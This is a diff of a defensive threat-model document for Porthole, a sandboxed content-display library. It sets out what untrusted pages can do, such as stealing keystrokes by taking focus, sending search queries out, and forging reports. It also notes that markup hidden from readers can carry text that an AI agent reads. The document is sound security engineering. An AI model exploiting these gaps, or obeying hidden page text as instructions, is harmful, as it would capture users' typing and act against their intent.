- content runs (P105, control `marker-originals`), so patching `Event`'s or `MouseEvent`'s
1010
- prototypes no longer lets content hear a press or make the shell misread one. But the layer's
1011
- nodes pass through built-ins content can replace (the shell's insertion guards call
1012
- `Element.prototype.matches` on them), so content can reach the closed shadow root that way,
1013
- read the markers and rewrite them (the review of P104, on all three engines). Nothing in the
1014
- layer is secret: it holds only what `show` sent, which the content can read anyway.
1015
- - *Clearing the selection* (P115). `annotations.clearSelection()` is the host's word to the frame
1016
- (`porthole/annotate.clearSelection`), with nothing back: the shell takes the page's selection
1017
- away through `Selection.prototype.removeAllRanges` as it was before content ran (control
1018
- `clear-selection`: a page that replaced it keeps its selection otherwise) and forgets the one it
1019
- told, so the clear makes no `unselected` or `selected`. It goes host to frame only: the host
1020
- takes no such message from a frame, and the shell takes it only from its frame's parent (a page
1021
- that posts it to its own window is dropped). It gives the page no power it lacks: a page can
1022
- clear or select its own text at any time, and can select the words again right after a clear
1023
- (the host hears that as any selection, while it asked for text). But the page sees the clear
1024
- (the message, and a `selectionchange` with no press of its own) and so learns when the person
1025
- was done with its selection (P121, after the audit of P115). A host that clears only when a
1026
- draft is added tells the page that a draft exists on its words, and when: clear when the
1027
- composer opens, or on every close, kept or dismissed, or leave it to the person's next click,
1028
- never only on a draft, above all for a page `mayPassOn` says to keep drafts from (ADOPTING.md
1029
- § Annotations).
1030
- - *What content can always do.* Hide, shrink, move or cover the layer (its scripts can rewrite the
1031
- layer's style, lay elements over it, or transform the page it sits in), change its words so a
1032
- mark is orphaned, or flood the shared rate so real reports are refused. It can also make the
1033
- shell's own work dear by its layout: finding marks again and placing markers after a change of
1034
- the content runs in the frame, once per quiet run of changes, and each marker in view is placed
1035
- by a bounded number of hit tests (measured with 300 marks with counts in view: about 20 ms a
1036
- change; 200 in a 3,000-line block: 25 to 50 ms; P105). In an opaque frame that shares the host's
1037
- process, that time is the host's too ([§5](#5-out-of-scope)). An honest page's
1038
- follow-up reports, of the marks (while one has a marker) and of the person's selection after a
1039
- scroll, share one clock: at most one a second together, each only when its box moved (P105).
1040
- - So `activated` opens the host's own view of a mark it already shows, placed within the frame's
1041
- box (better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard,
1042
- resolve, delete or reply); an anchor or a rect decides where something is drawn, never who may
1043
- see or do anything.
1044
-
1045
- **Find in page** (`find`, P131). The host draws its own find bar; the shell finds the query in the
1046
- content's text (annotations' text index) and highlights the matches in a layer of its own (a closed
1047
- shadow root, as annotations' marks; never the CSS Custom Highlight API, which is the content's to
1048
- read and rewrite). It shares its realm with the content, so:
1049
-
1050
- - *What content learns.* The query (`porthole/find.query`, posted into the frame's window), each
1051
- time the host sends it (a bar that searches as the person types sends their typing, key by key),
1052
- whether it is case-sensitive, each move to the next or previous match, when the bar clears, and
1053
- whether the host draws its own bar (`porthole/find.handled`). The query is the person's words,
1054
- typed in the host's own UI: a page with a way out (an MCP App's `connectDomains`, S5; egress a
1055
- host opened; a carrier such as `db`, `mayPassOn`) can send what the person searched for to its
1056
- author. That is why `find` is a capability a config declares, in no preset by default; accepted
1057
- by the product owner, with hosts sending queries on a pause or Enter rather than at every key
1058
- (P131). A query holds only for the content it was asked of: a new run or other content forgets
1059
- it, so another page is never searched with it (it would learn the words from what matched).
1060
- - *What content can say.* Any count and current match (bounded: at most 1,000, whole numbers, the
1061
- current one among them), any box inside its frame (clamped to the frame's viewport, as
1062
- annotations' boxes, P104), and an `updated` while a query is shown. The host takes an answer only
1063
- for a query it asked, under that query's id; anything malformed is `"unsupported"` or a refusal.
1064
- A find bar's numbers, never a fact about the content.
1065
- - *The shortcut.* While the host draws its own bar (`find.takeShortcut(true)`), the shell cancels
1066
- the browser's find on Cmd+F (Apple) or Ctrl+F (elsewhere) in the frame and says `requested`; a
1067
- page that handles the key itself keeps it. The page can say `requested` without the key, or keep
1068
- the key from the shell. The host takes it only while the platform says the page's focus is in
1069
- the frame (control `find-requested-focus`): a page that hasn't the keyboard can't open the
1070
- host's bar, which takes focus, while the person types in the host's composer, so their next
1071
- keys aren't steered into the bar and from there into the frame as queries. That holds where a
1072
- page can't take the keyboard by itself (Firefox, without the person's gesture); on Chromium and
1073
- WebKit a page takes it first ("The keyboard" below), and then has the keys anyway. A real
1074
- press of the shortcut is always in the frame, so the rule refuses none. Where a platform can't
1075
- tell, it passes. Open the bar, nothing more.
1076
- - *What content can always do.* Hide, cover or move the layer, change its words so the count
1077
- changes, reach the layer through built-ins it patched (as annotations' layer, P105), or make the
1078
- search dear: linear in its text, at most 1,000 matches kept and 10,000 looked at, a query of 256
1079
- characters, found again at most once a second while the content changes, and of a burst of
1080
- queries only the latest searched (the others answered superseded); in an opaque frame that
1081
- shares the host's process that time is the host's too ([§5](#5-out-of-scope)).
1082
-
1083
- **The keyboard** (P109, P149). Any display, of any kind and any version, can move the keyboard
1084
- into its frame: `element.focus()` runs in the content's realm, where nothing of Porthole can stop
1085
- it, and on Chromium and WebKit it needs no gesture. What the person goes on typing then goes to the
1086
- page, which can keep it (`db`) or send it out through any egress it has, until the person sees
1087
- their words stop appearing and clicks back. The page knows when it matters: its shell reports
1088
- `selected` when the host opens a composer on it, and draft marks (P107) say where the person is
1089
- writing. P107 and P108 didn't make this possible; they put the person's unposted words beside the
1090
- frame and tell the page when.
1091
-
1092
- - *Nothing takes it back* (0.16.0, P149). From 0.13 to 0.15 `createHost` guarded every display
1093
- (P109): a move of the keyboard from one of the host's text fields into a frame was undone unless
1094
- the guard judged it the person's own. It had to guess. The host's page sees no press inside a
1095
- cross-site frame on full Chromium (the frame is out of process) nor on Firefox, so the guard
1096
- read what it could (`:active`, the pointer's place, the time since the person's last key, and
1097
- for a nested page its shell's word on its activation, then on its presses: P111, P120, P122,
1098
- P148), and each rule refused some real clicks while a page could still pass for the person
1099
- where the signals ran out (a key typed slower than 250 ms apart, P123). A wall that guesses is
1100
- no wall, and its wrong guesses were the person's own clicks refused; it is gone, with the
1101
- nested pages built to feed it.
1102
- - *What holds without it.* Content can't read the host's page or its fields, can't move focus
1103
- into a field of the host's, and gets no key typed while the focus is in the host's page. A page
1104
- that takes the keyboard gets the keys typed after its move and before the person notices: what
1105
- they meant for the host's composer, not what is already in it.
1106
- - *What a host does.* Shows no untrusted display beside a field that must never lose a key (a
1107
- password, a payment field); opens the views a display's report asks for without focus (§6);
1108
- and moves focus itself with `display.focus()` and `focusField(field)`, which land on every
1109
- engine (Firefox ignores a field's plain `focus()` while a frame that takes focus back on its
1110
- blur holds it).
676
+ `activated` for any mark shown with a marker (a count, or a draft) with no click and any box;
677
+ look-alike markers, or its own elements over Porthole's. The host takes a report only for what it
678
+ asked and ids it shows, rebuilt within `ANNOTATION_LIMITS`, at 120 a minute, and drops `activated`
679
+ for a mark without a marker or an id it doesn't show. No gesture is asked (P149; the host page's
680
+ activation lasts 5 s after any gesture, so a timed fake would pass anyway): a page can open the
681
+ host's view of a shown mark at any moment, under the person's pointer. The guard on that view (§6)
682
+ is the defence.
683
+ - *Labels.* An anchor's `label` is the page's text, maybe words the person never sees (`alt`,
684
+ `aria-label`, `title`). The host strips from every label what a person can't see: format, bidi and
685
+ zero-width characters, default-ignorable code points, variation selectors, tags, private-use
686
+ characters and controls (P105, without P100's exceptions for emoji and shaped letters). A text
687
+ anchor's quote (`exact`) keeps them, to be found again. A quote or label handed to a model is the
688
+ page's words, never instructions.
689
+ - *Boxes* (`selected`, `activated`, `anchored`) are the page's word, clamped to the frame's viewport
690
+ before the host hears them: the part inside is kept; a box wholly outside becomes one of no size
691
+ on the nearest edge; a platform `viewport()` that answers no size, or throws, clamps every box to
692
+ one of no size at the frame's corner. The page can't place the host's UI over the rest of the app,
693
+ but picks any point in its frame: a positioning hint, never a fact. Boxes are in the frame's CSS
694
+ px; a host that scales or transforms the frame maps them through that transform. Reading the
695
+ frame's size per report, before the rate, forces a layout of the host's page per message, as a
696
+ repeated `ui/initialize` already does (accepted, P105).
697
+ - *Places in the document* (P132, P133, P137, P150). `documentRect`, `lastLineDocumentRect` and an
698
+ element pick's `pointDocument`, with the report's `scroll`, are checked (finite, within
699
+ `ANNOTATION_LIMITS.coordinate`, sizes not negative; a malformed one, a last line or a point without
700
+ `scroll`, or a point on a text selection, drops the report) but not clamped (a clamp would erase
701
+ their purpose): the page chooses where the host's UI goes, outside the frame too (accepted; the
702
+ host clips, §6). They reveal nothing else.
703
+ - *A followed selection* (P138, P140). `selectionTracked` boxes are checked and clamped likewise,
704
+ taken only while the host follows the selection (otherwise dropped unread, without a refusal),
705
+ within `tracked`'s 60 a second, and carry none of the page's words; `inView` is false unless the
706
+ box reaches the frame's viewport as the host reads it. The page reads the host's word starting and
707
+ ending the following, and `keepSelection` in every `start`: it learns when a composer is open on
708
+ its selection (as `track` tells it which card is open, P112) and, before any pick, that the host
709
+ will follow one. End the following on every close, kept or dismissed. The follow is drawn in the
710
+ shell's closed layer, which takes no pointer; what is kept (the element picked, a copy of the
711
+ range) is the page's own DOM, which tells it nothing new and which it can remove (`orphaned`). For
712
+ a host that neither follows nor said `keepSelection`, the frame draws and keeps nothing after a
713
+ pick.
714
+ - *A press on a marker*, against content that patches no built-in, reaches none of the content's
715
+ handlers and moves neither focus nor a selection: content can't act on it or cancel it. Content
716
+ can't read or reach inside the layer, but can tell a marker was pressed, and roughly where
717
+ (`:hover`, `:active`, the pointer leaving its element, the frame's activation). On touch (P119) a
718
+ marker takes a 44 by 44 px box around its bubble, so content loses a tap within 13 px of one. The
719
+ pointer type is read from trusted events only, and a real `activated` needs a trusted click.
720
+ Content that patches built-ins still can't hear a press or make the shell misread one (P105), but
721
+ can reach the closed layer through `Element.prototype.matches`, and read and rewrite the markers.
722
+ Nothing there is secret: the layer holds only what `show` sent.
723
+ - *The keyboard on a marker* (P133). A marker is a button with a tab stop. Enter and Space on it are
724
+ stopped before the content and make a trusted click the content doesn't get; every other key, Tab
725
+ too, is the page's. So markers join a focus order the content controls (accepted, reversing P104's
726
+ point 6): it can take the focus from a marker, keep the person from reaching one, draw a
727
+ look-alike, and tell that the person is on one. That gains it nothing: a marker's press only makes
728
+ `activated`, which it can fake anyway; keys reach a marker only while the frame has the focus,
729
+ never from the host; its own key events or `click()` make no trusted click. Assistive technology
730
+ reads the page's words in a marker's name, in quotes that bound nothing (P134). A host can't rely
731
+ on a marker being reached: its own list of marks is the keyboard way that holds.
732
+ - *Which input made an `activated`* (P134): the report doesn't say. The host's
733
+ `document.activeElement`, which the page can't fake, says only that the focus is in the frame,
734
+ where the page can put it itself. **The page can still forge `activated` while the person really
735
+ is in the frame**: moving the keyboard into a view on this signal is §6's second exception, its
736
+ gate keeping the next keys from posting.
737
+ - *Back to a marker* (P134, P135, P137). The page reads `focusMark` (an id it has; nothing comes
738
+ back), so it learns a card closed; it can take the focus back or forge the word, gaining nothing a
739
+ fake `activated` doesn't, and a host can't rely on the focus landing. The shell drops a late word
740
+ unless the focus is in the frame (§6), checked through built-ins kept before content ran, so a
741
+ word can't pull back a person gone on to a host's button. Accepted: a person who moves on within
742
+ 100 ms; a page that forges a fresh word or takes the focus itself (it then has the keyboard
743
+ anyway); a word moving the focus from the page's own field onto a marker; and a forged `activated`
744
+ between the host's close and the frame's move, while the focus is on the host's body, which finds
745
+ no frame focused, so a view gated on "the frame had the focus" isn't gated by it. That view takes no focus and keeps keys out until the
746
+ focus reaches the frame, so the keys go to the page and nothing is written.
747
+ - *Clearing the selection* (P115, P121). `clearSelection` goes host to frame only; nothing comes
748
+ back. It adds no power (the page can clear or select its own text at any time, and reselect right
749
+ after a clear), but the page sees it, so it learns when the person was done with its selection.
750
+ Clear when the composer opens, on every close, or leave it to the person's next click; never only
751
+ when a draft is added, which tells the page a draft exists there, and when (above all for a page
752
+ `mayPassOn` says to keep drafts from).
753
+ - *What content can always do.* Hide, shrink, move or cover the layer; change its words so a mark is
754
+ orphaned; flood the shared rate so real reports are refused; make the shell's work dear by its
755
+ layout. Marks are found again and markers placed after each quiet run of changes, with a bounded
756
+ number of hit tests per marker in view (300 marks with counts in view: about 20 ms a change; 200
757
+ in a 3,000-line block: 25 to 50 ms; P105); in an opaque frame in the host's process that is the
758
+ host's time too ([§5](#5-out-of-scope)). An honest page's follow-up reports share one clock: at
759
+ most one a second, each only when its box moved.
760
+ - **So** `activated` opens the host's own view of a mark it already shows, within the frame's box
761
+ (better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard, resolve,
762
+ delete or reply). An anchor or a rect decides where something is drawn, never who may see or do
763
+ anything.
764
+
765
+ **Find in page** (`find`, P131). The host draws its own find bar; the shell finds and highlights
766
+ matches in a closed layer of its own, in the content's realm (how: [DESIGN.md](DESIGN.md) § Find in
767
+ page).
768
+
769
+ - *What content learns.* Each query the host sends (a bar that searches as the person types sends
770
+ their typing, key by key), whether it is case-sensitive, each move between matches, when the bar
771
+ clears, and whether the host draws its own bar. Queries are the person's words: a page with a way
772
+ out (`connectDomains`, S5; egress a host opened; a carrier such as `db`, `mayPassOn`) can send
773
+ them to its author. So `find` is declared, in no preset by default, and hosts send queries on a
774
+ pause or Enter, not at every key (accepted by the product owner). A query is forgotten on a new
775
+ run or other content, so another page never learns it from what matched.
776
+ - *What content can say.* Any count and current match (at most 1,000, whole numbers, the current one
777
+ among them), any box in its frame (clamped as annotations' are), and an `updated` while a query is
778
+ shown. The host takes an answer only for a query it asked, under its id; anything malformed is
779
+ `"unsupported"` or a refusal. These are a find bar's numbers, never facts.
780
+ - *The shortcut.* While the host takes it (`find.takeShortcut(true)`), the shell cancels the
781
+ browser's find on Cmd+F or Ctrl+F and says `requested`; a page that handles the key keeps it, and
782
+ a page can say `requested` without it. The host takes `requested` only while the platform says the
783
+ page's focus is in the frame, so a page without the keyboard can't open the host's bar (which
784
+ takes focus) while the person types in the host's composer, and steer their next keys into
785
+ queries. That holds where a page can't take the keyboard by itself (Firefox, without a gesture);
786
+ on Chromium and WebKit a page can take it first, and then has the keys anyway. A real press is
787
+ always in the frame, so the rule refuses none; where a platform can't tell, it passes.
788
+ - *What content can always do.* Hide, cover or move the layer; change its words so the count
789
+ changes; reach the layer through patched built-ins; make the search dear (linear in its text; at
790
+ most 1,000 matches kept and 10,000 looked at; queries of 256 characters; found again at most once
791
+ a second while the content changes; of a burst, only the latest searched). In an opaque frame in
792
+ the host's process that is the host's time too ([§5](#5-out-of-scope)).
793
+
794
+ **The keyboard** (P109, P123, P149; the accepted risk in §5, the host's side in §6). Content can
795
+ move focus into its frame (`element.focus()` and the like) while the person types in the host's
796
+ page. Nothing of Porthole's can stop that in the content's realm, and on Chromium and WebKit it
797
+ needs no gesture. The page gets the keys typed until the person sees their text stop appearing and
798
+ clicks back, and can keep them (`db`) or send them out through any egress it has; `selected` (a
799
+ composer opened on it) and draft marks (where the person is writing) tell it when they matter.
800
+ Browsers give a host no way to prevent the move or tell it from the person's own click into the
801
+ frame: the host's page sees no press inside a cross-site frame on full Chromium or Firefox. A guard
802
+ could only guess, and its guesses refused people's own clicks while a page could still pass for the
803
+ person, so Porthole has none, and nothing gives the keyboard back. What holds: content can't read
804
+ the host's page, its storage or another display, or move focus into a field of the host's, and gets
805
+ no key typed while the focus is in the host's page: only keys typed after its move and before the
806
+ person notices, never what is already in the host's composer.
1111
807
 
1112
808
  ### The app runtime
1113
809
 
1114
- What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the
1115
- host's services through `porthole.use(name)`. Without it there is no `porthole` global, and the
1116
- config can't name the runtime's own host functions. A host that only shows content can skip this
1117
- section.
810
+ What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the host's
811
+ services through `porthole.use(name)`; without it there is no `porthole` global, and the config
812
+ can't name the runtime's own host functions. A host that only shows content can skip this section.
813
+ How it works: [DESIGN.md](DESIGN.md) § The capability runtime; how to wire it, with code:
814
+ [ADOPTING.md](ADOPTING.md) § The capability runtime.
1118
815
 
1119
816
  **Porthole guarantees**, in the bridge, before any handler runs:
1120
-
1121
817
  - A page reaches the built-ins its kind offers (`clipboard`, `links`, `downloads`, `comments`) and
1122
- what it declared when published; anything else is refused (`undeclared`). The names it declares
1123
- in `data` hold with a viewer and without one (P094). A page from before 0.7 (the
1124
- host's `null` declaration) keeps 0.6's surface and gets none of `user`, `artifact`, `assets` and
1125
- `db`.
1126
- - Each method has a least level (`view < interact < admin < owner`), held against the viewer's
1127
- level from the host's `access`. A display without a viewer gets nothing above `view` and none of
1128
- the runtime's own host functions.
818
+ what it declared when published; anything else is refused (`undeclared`). The names it declares in
819
+ `data` hold with a viewer and without one (P094). A page stored before runtime declarations (the
820
+ host's `null` declaration) takes the legacy path: the built-ins and the old globals, none of
821
+ `user`, `artifact`, `assets` and `db`.
822
+ - Each method has a least level (`view < interact < admin < owner`), held against the viewer's level
823
+ from the host's `access`. A display without a viewer gets nothing above `view` and none of the
824
+ runtime's own host functions.
1129
825
  - A version mounted with `intersectDeclarations(version's, current)` gets only what both
1130
826
  declarations allow (P093).
1131
- - `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for
1132
- the viewer, and paths in answers say `data/users/me`, never that id.
1133
- - What changes the artifact for everyone needs, by default, a confirmation with its whole effect:
1134
- `artifact.publish` and `assets.delete` (a host's `methodGates` for them replace this; no proof
1135
- of a click is asked since 0.16.0, P149).
1136
- - A `db.batch` runs under the gates of each of its writes, and a `db.watch` under those of `get`
1137
- or `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole
1138
- (P094).
1139
- - Except in **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with
1140
- its id), assets are served only to an access for their own artifact, after the host's check. A
1141
- code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and
1142
- only while the config still lets uploaded code run, asked at every load, in bearer mode too
1143
- (where every artifact config must; P103); anything else is a download.
1144
- - `comments` is write-only: the page learns only whether the composer opened. It reaches the
1145
- host's handler whenever the page calls it, at most 30 times a minute; no proof of a click is
1146
- asked (0.16.0, P149; from 0.13 to 0.15 it needed a gesture with the host page's focus in the
1147
- calling frame, P109, which refused real clicks wherever the guess at that focus was wrong).
1148
- Whether the composer opens is the host's handler's answer. A
1149
- draft it gives (P108) is at most 2,000 characters of text a person can
1150
- see (P109): nothing invisible (zero-width characters, bidi and tag characters, controls but a
1151
- new line and a tab; U+200C and U+200D only between two letters or marks, where Persian and the
1152
- Indic scripts need them, never first, last, doubled, beside a space or punctuation, or in an
1153
- emoji sequence; a variation selector after a pictograph is fine), no line or paragraph
1154
- separator, not blank-looking, at most 32 blanks in a row and two blank lines in a row; anything
1155
- else is refused before the handler. A joiner between two letters that shapes nothing still
1156
- draws as nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
827
+ - `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for the
828
+ viewer, and paths in answers say `data/users/me`, never that id.
829
+ - `artifact.publish` and `assets.delete` change the artifact for everyone, so by default they need a
830
+ confirmation with their whole effect (a host's `methodGates` for them replace this; no proof of a
831
+ click is asked, P149).
832
+ - A `db.batch` runs under the gates of each of its writes, a `db.watch` under those of `get` or
833
+ `query`, as well as their own; a batch that needs a confirmation is confirmed once, whole (P094).
834
+ - Assets are served only to an access for their own artifact, after the host's check, except in
835
+ **bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with its id). A
836
+ code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and only
837
+ while the config still lets uploaded code run, asked at every load, in bearer mode too (where
838
+ every artifact config must; P103); anything else is a download.
839
+ - `comments` is write-only: the page learns only whether the composer opened. It reaches the host's
840
+ handler whenever the page calls it, at most 30 times a minute, with no proof of a click (P149);
841
+ whether the composer opens is the handler's answer. A draft it gives (P108) is at most 2,000
842
+ characters of text a person can see (P109), or it is refused before the handler: nothing invisible
843
+ (zero-width, bidi and tag characters, controls but a new line and a tab; U+200C and U+200D only
844
+ between two letters or marks, where Persian and the Indic scripts need them, never first, last,
845
+ doubled, beside a space or punctuation, or in an emoji sequence; a variation selector after a
846
+ pictograph is fine), no line or paragraph separator, not blank-looking, at most 32 blanks in a row
847
+ and two blank lines in a row. A joiner between two letters that shapes nothing still draws as
848
+ nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
1157
849
  label and quote reach the handler without what a person can't see, and are refused if nothing
1158
850
  visible is left.
1159
- - `defineRuntimeConformance` checks the host's handlers, and with `api` its own API for `db`,
851
+ - `defineRuntimeConformance` checks the host's handlers and, with `api`, its own API for `db`,
1160
852
  `artifact` and `assets`, with a forged context (a viewer claiming to be the owner, no rules).
1161
853
 
1162
854
  **The host must**
1163
-
1164
855
  - Treat its API as the wall: check each call again from its own session and its own stored
1165
- declaration, never from `context.viewer` or `context.declared`.
1166
- - Run `defineRuntimeConformance` with `api` in CI, against its real API.
1167
- - Say each viewer's level in `access`, and keep public grants low (S4).
1168
- - Store a declaration per version, and mount a version with
1169
- `intersectDeclarations(version's, current)`.
856
+ declaration, never from `context.viewer` or `context.declared`. Run `defineRuntimeConformance`
857
+ with `api` in CI, against its real API.
858
+ - Say each viewer's level in `access`, keep public grants low, and handle abuse on shared pages
859
+ (S4).
860
+ - Store a declaration per version, and mount a version with `intersectDeclarations(version's,
861
+ current)`.
1170
862
  - Revoke with its per-request check (`authorize`) and `content.forget(…)`.
1171
863
  - Keep each person's data apart in its own stores, and refuse moved bases and versions
1172
864
  (`Refused("conflict")`).
1173
- - Handle abuse on shared pages (S4).
1174
- - Show a comment's draft (P108) whole, as the person's editable plain text in its own composer,
1175
- and post it only on the person's own Send, never on the page's word. Once posted, the comment is
1176
- the person's: mentions in it act as theirs, which is why they must see it all first. So (P109;
1177
- ADOPTING.md has the code):
1178
- - An open never replaces, appends to or moves what the person has typed, or the place they
1179
- chose: while the composer holds their words, answer `false`, or show the page's words as a
1180
- separate suggestion that takes no focus. (The page knows they are writing anyway: its
1181
- `selected`, and draft marks.)
1182
- - A composer the page filled takes no focus when it opens (keys stay where the person was
1183
- typing: what they type for the page must not land in a postable comment), and doesn't send on
1184
- Enter until the person has focused or edited it themselves: Send is a click until then. It is
1185
- a view the content brought (§6's guard): no press for 500 ms after it opens, Send not focused,
865
+ - Show a comment's draft (P108) whole, as the person's editable plain text in its own composer, and
866
+ post it only on the person's own Send, never on the page's word. Once posted, the comment is the
867
+ person's (mentions in it act as theirs), so they must see it all first (P109):
868
+ - An open never replaces, appends to or moves what the person has typed, or the place they chose:
869
+ while the composer holds their words, answer `false`, or show the page's words as a separate
870
+ suggestion that takes no focus.
871
+ - A composer the page filled takes no focus when it opens (what the person types for the page must
872
+ not land in a postable comment), and doesn't send on Enter until the person has focused or
873
+ edited it. It is a view the content brought (§6's guard): no press for 500 ms, Send not focused,
1186
874
  beside the frame where it can.
1187
- - It says the text is the page's ("Suggested by this page", or the page's name), drawn by the
1188
- host outside the frame, until the person edits it, and never shows it as one of their own
1189
- drafts: the host's own list of drafts is how a person finds theirs, not the frame's markers,
1190
- which a page can draw too.
1191
- - The draft's view (P107) and the composer put nothing one click away that posts, submits or
1192
- discards.
1193
- - Render a page-drafted comment as plain text, or show the person before Send what readers will
1194
- see: markup a markdown renderer hides (an HTML comment, a link definition) is still read by an
1195
- agent. Show the anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand
1196
- them to a model only as the page's words.
875
+ - Until the person edits it, it says the text is the page's ("Suggested by this page"), drawn by
876
+ the host outside the frame. It never shows it as one of their own drafts: the host's own list of
877
+ drafts, not the frame's markers (which a page can draw), is how a person finds theirs.
878
+ - Nothing one click away in the draft's view (P107) or the composer posts, submits or discards.
879
+ - Render a page-drafted comment as plain text, or show before Send what readers will see: markup a
880
+ markdown renderer hides (an HTML comment, a link definition) is still read by an agent. Show the
881
+ anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand them to a model only
882
+ as the page's words.
1197
883
 
1198
884
  **Not guaranteed**
1199
-
1200
- - Closed egress covers the network, not the host's services: what a page learns from `user`, or
1201
- what a viewer types into it, it can store in `db`, where its author (and other viewers, as the
1202
- page's rules allow) can read it.
885
+ - Closed egress covers the network, not the host's services: what a page learns from `user`, or what
886
+ a viewer types into it, it can store in `db`, where its author (and other viewers, as the page's
887
+ rules allow) can read it.
1203
888
  - `db` rewrites only paths: an id the page stores inside a document's data is returned as stored.
1204
889
  - In bearer mode, assets are served by id alone, without the host's check.
1205
- - A draft is the page's words in the person's composer: a person who posts it without reading
1206
- posts what the page chose, and an agent that reads the comment takes it as theirs. Porthole
1207
- bounds what can hide in it (visible text, 2,000 characters) and how often it is asked (30 a
1208
- minute); reading it is the person's. A page opens the composer at a moment it chooses, with a
1209
- press of the person's or with none (P149): the composer's duties above are the bound.
1210
-
1211
- ## 8. Fixes in flight
1212
-
1213
- The decisions below come from the 2026-10-19 review, and all of them have merged. Each row says
1214
- what was wrong, what holds now, and the limit its decision accepts, if any. Later reviews' decisions
1215
- are in the status line and in DECISIONS.md: P105 (after the review of P104), P109 (after the review
1216
- of 0.12.0's drafts), P111 (a nested page; in 0.14.0, removed in 0.16.0), P114 (a nested page's
1217
- shell on a label of its own, after porthole#56; in 0.14.1, removed in 0.16.0), P124 (a frame
1218
- status is the word of Porthole's pages, after the audit raft-security-audit#16; in 0.14.5: §4,
1219
- §6, §7, S6), P125 (a served display takes its word from a door no same-scope content can reach,
1220
- after the audit of 2026-10-30 found P124 held only for a display alone in its scope; in 0.14.6:
1221
- §4, §6, §7, S7), P149 (what guessed at the person's intent is taken out: nested pages, the focus
1222
- guard, the proof of a click but `copyText`'s; in 0.16.0: the status line, §5, §6, §7).
1223
-
1224
- | Decision | State | What it closes | Sections |
1225
- | --- | --- | --- | --- |
1226
- | P092 | Merged | A request with a method `fetch` refuses (`TRACE`) could end a Node process through the Node adapter; the issue endpoint read a JSON body without a byte limit; its rate limit keyed anonymous requests on headers a client sets. Now no request ends the process, a body is read to 64 KiB at most, and the key is an address the client can't set. | §5, S4 |
1227
- | P093 | Merged | `intersectDeclarations` compared rules name by name, so a current wildcard didn't narrow a version's named rule, and a collection named `__proto__` was lost. Now the result allows exactly what both sides allow. | §7 |
1228
- | P094 | Merged | Without a viewer, a page's declared `data` names weren't held; a pushed result answered a read past `readData`'s gates; `db.batch` and `db.watch` skipped their inner methods' `methodGates`. Now each holds. | §4, S2, S4, §7 |
1229
- | P095 | Merged | What content sent was read before its gate: a log or error report was serialized whole first; waiting confirmations had no cap. Now the bridge reads it after the gate into bounded text, nothing a page sends throws out of an adapter, and at most 10 confirmations wait per display. | §5, S1, S5 |
1230
- | P096 | Merged | The negative-control runner counts a control that didn't run as passed, and CI runs the runtime's controls only. | §4 |
1231
- | P097 | Merged | A release waits for the same commit's CI. No guarantee here depends on it. | |
1232
- | P098 | Merged | A set's page whose notice came late was taken for a navigation away (red on Chromium since 0.6.0), and tests that waited a fixed time. Accepted: a files display may hold a frame that did navigate away for up to 2 s before starting it again, delivering nothing while it waits. | S1 |
1233
- | P099 | Merged | A served page in a tab had no sandbox: `window.open` sent input out, it could navigate its opener, open a picture-in-picture window, and ask for the camera, location or full screen. Now its headers carry its frame's sandbox and deny what its frame's `allow` doesn't grant, and the shell closes those on a tab too; the served suite probes self-navigation in frames and tabs. A browser without the Navigation API is an accepted limit. | S4 |
1234
- | P100 | Merged | `setModelContext` was rate-limited only, unseen by the person. Now it needs the host's `show` by default. Accepted: shown isn't read, and characters that draw as blanks pass, bounded by the length. | S1, S5 |
1235
- | P101 | Merged | Under https Porthole read unprefixed `porthole-*` cookies a sibling label can plant; the entered mark carried no label; url mode checked neither `Origin` nor `Sec-Fetch-Site`. Now only `__Host-` names are read, the mark names its label, and a url-mode app answers its own origin and navigations. | S3, S6 |
1236
- | P102 | Merged | This document. | |
1237
- | P103 | Merged | A live widget's capabilities could add origins; bearer-mode assets skipped the code re-check; `callTool` had no rate. Now the preset refuses them and its config is frozen, every load asks the current config (its ETag says which answer), and `callTool` has 30 a minute. | S2, S5, §7 |
1238
- | P143 | Merged (0.15.0) | Embeds: a public grant's documents framed by any page (`frame-ancestors *`) only for a session the host minted with `embed`, never a reader's. Such a frame has no host: it hears no one, Porthole tells no parent anything, no capability or runtime host function runs, no door. Accepted: the embedding site sees the page load and hears what the page itself posts to its parent or top. The host must keep its embed entry from widening grants, and blank takedowns within its stated bound. | S4 |
1239
-
1240
- Open with no decision yet; until then they are the host's to cover:
890
+ - A draft is the page's words in the person's composer: posted unread, it says what the page chose,
891
+ and an agent that reads the comment takes it as the person's. Porthole bounds what can hide in it
892
+ (visible text, 2,000 characters) and how often it is asked (30 a minute); reading it is the
893
+ person's job. A page opens the composer at a moment it chooses, with a press of the person's or
894
+ with none (P149): the composer's duties above are the bound.
895
+
896
+ ## 8. Not covered yet
897
+
898
+ These have no decision yet; until they do, they are the host's to cover:
1241
899
 
1242
900
  - a check, at mount or in development, that the page sends its `frame-src` (S1: run
1243
901
  `defineHostConformance`);
1244
902
  - a check of which displays share a page (S7: group them yourself);
1245
- - an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for
1246
- secrets (S4);
903
+ - an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for secrets
904
+ (S4);
1247
905
  - refusing weak or example secrets, and a health answer that isn't derived from the secret (S3);
1248
906
  - dropping `True-Client-IP` and `CF-Connecting-IP`, and an SSRF example for `instance` (S6);
1249
907
  - a warning when the content domain isn't on the PSL (S3);